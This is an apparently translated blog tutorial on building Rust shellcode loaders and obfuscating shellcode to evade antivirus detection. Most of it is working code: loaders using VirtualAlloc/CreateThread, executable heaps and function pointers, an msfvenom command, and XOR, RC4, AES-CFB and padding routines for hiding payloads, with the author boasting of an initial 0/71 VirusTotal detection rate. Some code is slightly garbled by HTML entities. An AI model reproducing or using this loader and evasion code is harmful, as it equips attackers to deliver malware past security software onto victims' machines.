Rust Anti-kill Shellcode Loading and Obfuscation

Foreword

These are some records I took when I was learning Rust and Anti-Virus half a year ago. I recently opened the knowledge base and saw this note from half a year ago, and found that in the security communities I often visit, there are relatively few people sharing posts about Rust and Rust Anti-Virus, so I thought of sharing this note for everyone’s reference and correction. Since I had just started to get in touch with Rust when I wrote this article, there may be errors in the knowledge and code involved in the article, so I would like to reiterate that this article is for reference only and I hope you can correct me.

Shellcode loading method

The main purpose of this article is to share Rust’s encryption and obfuscation method for shellcode, so we only introduce two basic methods for shellcode loading. We may share more loading methods in subsequent articles.

Call WinAPI

Like shellcode loaders in other languages, to implement more shellcode loading methods, you need to call WinAPI.
The general process of executing shellcode:

  1. Create or obtain a memory space that can be read, written, and executed
  2. Move the shellcode into this memory space
  3. Use various methods to point the program execution process to this memory space
    When Rust calls WinAPI, you need to introduce dependencies first. Cargo is a package management tool for Rust. To introduce winapi dependencies, you need to add it to Cargo.toml:

winapi = {version=”0.3.9″,features=[“winuser”,”processthreadsapi”,”memoryapi”,”errhandlingapi”,”synchapi”]}
Here we take loading the shellcode of the bomb calculator generated by msf as an example. First use msfvenom to generate a shellcode in raw format, save it to the calc.bin file, and copy it to the Rust project directory.

msfvenom -p windows/x64/exec cmd=calc.exe -f raw -o calc.bin
In Rust, you can use the include_bytes! macro to include static files into the program at compile time.
Next, apply for a section of memory by calling VirtualAlloc and set the PAGE_EXECUTE_READWRITE permission. It is recommended to consult the Microsoft WinAPI documentation for specific parameters. Then move the shellcode into memory through std::ptr::copy, then create a thread through CreateThread, and WaitForSingleObject waits for the thread to end.
Reference:VirtualAlloc function, CreateThread function, WaitForSingleObject function

use std::mem::transmute;
use winapi::um::errhandlingapi::GetLastError;
use winapi::um::memoryapi::VirtualAlloc;
use winapi::um::processthreadsapi::CreateThread;
use winapi::um::synchapi::WaitForSingleObject;

fn main() {
let buffer = include_bytes!(“…\calc.bin”);

unsafe {
    let ptr = VirtualAlloc(std::ptr::null_mut(), buffer.len(), 0x00001000, 0x40);

    if GetLastError() == 0 {
        std::ptr::copy(buffer.as_ptr() as *const u8, ptr as *mut u8, buffer.len());

        let mut threadid = 0;
        let threadhandle = CreateThread(
            std::ptr::null_mut(),
            0,
            Some(transmute(ptr)),
            std::ptr::null_mut(),
            0,
             &mut threadid,
        );

        WaitForSingleObject(threadhandle, 0xFFFFFFFF);
    } else {
        println!("Execution failed: {}", GetLastError());
    }
}

}

Function pointer

link_section is an attribute of Rust, which is used to place specific functions or variables into specified blocks of the program. The .text block is usually used to store the execution code of the program, which will be loaded into memory and processed by the processor. implement.
Then convert the *const u8 type pointer to the function type fn() through std::mem::transmute, and finally execute the shellcode.

fn main() {
const BUFFER_BYTES: & amp;[u8] = include_bytes!(“…\calc.bin”);
const BUFFER_SIZE:usize = BUFFER_BYTES.len();

#[link_section = ".text"]
static BUFFER:[u8;BUFFER_SIZE] = *include_bytes!("..\calc.bin");
unsafe{
    let exec = std::mem::transmute::<*const u8,fn()>( & amp;BUFFER as *const u8);
    exec();
}

}

Apply memory through heapapi

Since VirtualAlloc is the key monitoring object of major anti-virus software, it usually needs to be replaced by other APIs. The following is another common memory application method, which is to create memory space through the combination of HeapCreate/HeapAlloc.
Reference: HeapCreate function, HeapAlloc function

This method also needs to introduce dependencies first, and add the following dependencies in the Cargo.toml file:

[dependencies]
winapi = {version=”0.3.9″,features=[“winuser”,”heapapi”,”errhandlingapi”]}
This method creates a memory heap with HEAP_CREATE_ENABLE_EXECUTE permission through HeapCreate, then allocates memory space from the heap through HeapAlloc, and finally executes the shellcode through a function pointer.

use std::mem::transmute;
use winapi::ctypes::c_void;
use winapi::um::errhandlingapi::GetLastError;
use winapi::um::heapapi::HeapAlloc;
use winapi::um::heapapi::HeapCreate;

fn main() {
let buffer = include_bytes!(“…\calc.bin”);

unsafe {
    let heap = HeapCreate(0x40000, 0, 0);
    let ptr = HeapAlloc(heap, 8, buffer.len());

    if GetLastError() == 0 {
        std::ptr::copy(buffer.as_ptr() as *const u8, ptr as *mut u8, buffer.len());
        let exec = transmute::<*mut c_void, fn()>(ptr);
        exec();
    }
}

}

Shellcode obfuscation method

The above introduces several common ways to apply for memory space for shellcode and execute shellcode in Rust. Next, we will introduce the implementation of several common encoding and encryption obfuscation methods in Rust. In actual shellcode protection, it is often necessary to combine several obfuscation methods, or to design an encryption obfuscation method yourself.

Base64 encoding

Implementing base64 encoding in Rust also requires introducing dependencies. Add the following dependencies to the Cargo.toml file:

[dependencies]
base64 = “0.20.0”
The following code can be used to base64-encode the incoming slice type shellcode and return a string.

fn b64_enc(shellcode: & amp;[u8]) -> String {
base64::encode(shellcode)
}
The following code can be used to decode the obtained string and return the Vec array type shellcode.

fn b64_dec(shellcode:String) -> Vec {
base64::decode(shellcode).expect(“Error”)
}

Hex encoding

Implementing Hex coding in Rust also requires introducing dependencies. Add the following dependencies in the Cargo.toml file:

[dependencies]
hex = “0.4.3”
The following code can Hex encode the incoming slice type shellcode and return a string.

fn hex_enc(shellcode: & amp;[u8]) -> String {
hex::encode(shellcode)
}
The following code can be used to decode the obtained string and return the Vec array type shellcode.

fn hex_dec(shellcode:String) -> Vec {
hex::decode(shellcode).expect(“Error”)
}

XOR encryption

XOR the shellcode and key character by character through the iterator, and then perform base64 encoding to return a string.

To decrypt, you need to perform base64 decoding first, and then XOR the encrypted shellcode with the key again character by character to restore the shellcode.

fn xor_encrypt(shellcode: & amp;[u8], key: & amp;[u8]) -> String {
let mut encrypted = Vec::new();
for (i, & amp;b) in shellcode.iter().enumerate() {
encrypted.push(b ^ key[i % key.len()]);
}
base64::encode( & amp;encrypted)
}

fn xor_decrypt(encrypted: & amp;[u8], key: & amp;[u8]) -> Vec {
let encrypted = base64::decode(encrypted).expect(“msg”);
let mut decrypted = Vec::new();
for (i, & amp;b) in encrypted.iter().enumerate() {
decrypted.push(b ^ key[i % key.len()]);
}
decrypted
}

RC4 encryption

To implement RC4 encryption and encryption, Rust needs to introduce dependencies. Add the following dependencies in the Cargo.toml file.

[dependencies]
rust-crypto=”0.2.36″
base64=”0.13.0″
rustc-serialize = “0.3”
The following is the code to implement RC4 encryption and decryption. The encrypted function ultimately returns a Base64-encoded string, while the decryption function ultimately returns a Vec array. This is to facilitate reading the encrypted shellcode in the shellcode loader and Load the decrypted shellcode.

use crypto::rc4::Rc4;
use crypto::symmetriccipher::SynchronousStreamCipher;
use std::iter::repeat;

fn main() {
let buffer = include_bytes!(“…\calc.bin”).as_slice();
let key = “pRNtb343heAlnPFw5QiPHKxz3Z1dzLsqhiUyBNtTiI21DjUsZ0”;

let b64_string = enc(buffer, key);
let shellcode = dec(b64_string.as_str(), key);

println!("== RC4 ==");
println!("Key: {}", key);
println!("\\
Encrypted (Base-64): {}", b64_string);
println!("\\
Decrypted: {:?}", shellcode);

}

fn enc(shellcode: & amp;[u8], key: & amp;str) -> String {
let mut rc4 = Rc4::new(key.as_bytes());

let mut result: Vec<u8> = repeat(0).take(shellcode.len()).collect();
rc4.process(shellcode, & amp;mut result);

base64::encode(&mut result)

}

fn dec(b64: & amp;str, key: & amp;str) -> Vec {
let mut result = match base64::decode(b64) {
Ok(result) => result,
_ => “”.as_bytes().to_vec(),
};

let mut rc4 = Rc4::new(key.as_bytes());

let mut shellcode: Vec<u8> = repeat(0).take(result.len()).collect();
rc4.process( & amp;mut result[..], & amp;mut shellcode);

shellcode

}

AES-CFB encryption

Rust also needs to introduce dependencies to implement AES encryption and encryption. Add the following dependencies in the Cargo.toml file.

[dependencies]
aes=”0.7.5″
hex=”0.4.3″
block-modes=”0.8.1″
hex-literal=”0.3.3″
The following is the code to implement AES-CFB encryption and decryption. The encrypted function ultimately returns a Hex-encoded string, while the decryption function ultimately returns a Vec array. This is also for the convenience of reading the encrypted string in the shellcode loader. shellcode and load the decrypted shellcode.

use aes::Aes128;
use block_modes::block_padding::Pkcs7;
use block_modes::{BlockMode, Cfb};
use hex::encode;
use hex_literal::hex;

type Aes128ECfb = Cfb;

fn main() {
let shellcode = include_bytes!(“…\calc.bin”).as_slice();
let key = “gWW8QklFyVIQfpDN”;
let iv = hex!(“57504c385a78736f336b4946426a626f”);

println!("==128-bit AES CFB Mode==");
println!("Key: {}", key);
println!("iv: {}", encode(iv));

let encrypted = enc(shellcode, key, iv);
println!("\\
Encrypted: {}", encrypted);

let decrypted = dec(encrypted.as_str(), key, iv);
println!("\\
Decrypted: {:?}", decrypted);

}

fn enc(shellcode: & amp;[u8], key: & amp;str, iv: [u8; 16]) -> String {
let key = key.as_bytes().to_vec();

let cipher = Aes128ECfb::new_from_slices(key.as_slice(), iv.as_slice()).unwrap();

let pos = shellcode.len();
let mut buffer = [0u8; 2560];
buffer[..pos].copy_from_slice(shellcode);

let ciphertext = cipher.encrypt( & amp;mut buffer, pos).unwrap();

hex::encode(ciphertext)

}

fn dec(encrypted: & amp;str, key: & amp;str, iv: [u8; 16]) -> Vec {
let binding = hex::decode(encrypted).expect(“Decoding failed”);
let ciphertext = binding.as_slice();

let key = key.as_bytes().to_vec();

let cipher = Aes128ECfb::new_from_slices(key.as_slice(), iv.as_slice()).unwrap();

let mut buf = ciphertext.to_vec();
let shellcode = cipher.decrypt( & amp;mut buf).unwrap();

shellcode.to_vec()

}

Add random characters

Also add the following dependencies to the Cargo.toml file first.

[dependencies]
hex = “0.4.3”
The following is the code that combines XOR encryption and adding random characters. xor_encrypt will XOR the shellcode and key, and use hex::encode to convert the XOR result into a hexadecimal string and return it, so that random characters can be added later. add_random iterates through each character of the string returned by xor_encrypt, adding a random character on each iteration. Finally, use hex::encode to convert the result into a hexadecimal string and return it. xor_decrypt and rm_random are the corresponding functions of secondary XOR and deletion of random characters.

fn xor_encrypt(shellcode: & amp;[u8], key: & amp;[u8]) -> String {
let mut encrypted = Vec::new();
for (i, & amp;b) in shellcode.iter().enumerate() {
encrypted.push(b ^ key[i % key.len()]);
}
hex::encode( & amp;encrypted)
}

fn xor_decrypt(encrypted: & amp;[u8], key: & amp;[u8]) -> Vec {
let encrypted = hex::decode(encrypted).expect(“Error”);

let mut decrypted = Vec::new();
for (i, & amp;b) in encrypted.iter().enumerate() {
    decrypted.push(b ^ key[i % key.len()]);
}
decrypted

}

fn add_random(xor_string: & amp;str, key: & amp;str) -> String {
let mut result = String::new();

for (i, c) in xor_string.chars().enumerate() {
    result.push(c);
    result.push(key.chars().nth(i % key.len()).unwrap());
}
hex::encode( & amp;result)

}

fn rm_random(random_string: & amp;str) -> Vec {
let mut result = String::new();

let random_string = hex::decode(random_string).expect("Invalid String");
let random_string = match std::str::from_utf8(random_string.as_slice()) {
    Ok(s) => s,
    Err(_) => "Invalid UTF-8 sequence",
};

for (i, c) in random_string.chars().enumerate() {
    if i % 2 == 0 {
        result.push(c);
    }
}
result.as_bytes().to_vec()

}

Summary

The compilation size of Rust is very small. Although it is not as good as C/C++, it has a very large advantage compared with Python and Go. Moreover, the popularity of Rust is also much less than that of Python and Go, so the anti-virus software has no influence on Rust. The detection level is also very low, which is Rust’s natural advantage of being immune to killing. Combining several basic loading methods and obfuscation methods in this article, you can easily defeat some of the software. The following link is a sample I uploaded to virustotal half a year ago. Half a year later, the current detection rate is 14/71: VirusTotal File (the detection rate was 0/71 when it was first uploaded).
I have also submitted the code part of this article to Github for your reference:
AV-Bypass-Learning/rust-bypass-av

Reference

Rust Reference Manual Chinese version
Programming reference for the Win32 API
include_bytes in std – Rust
Application Binary Interface – The Rust Reference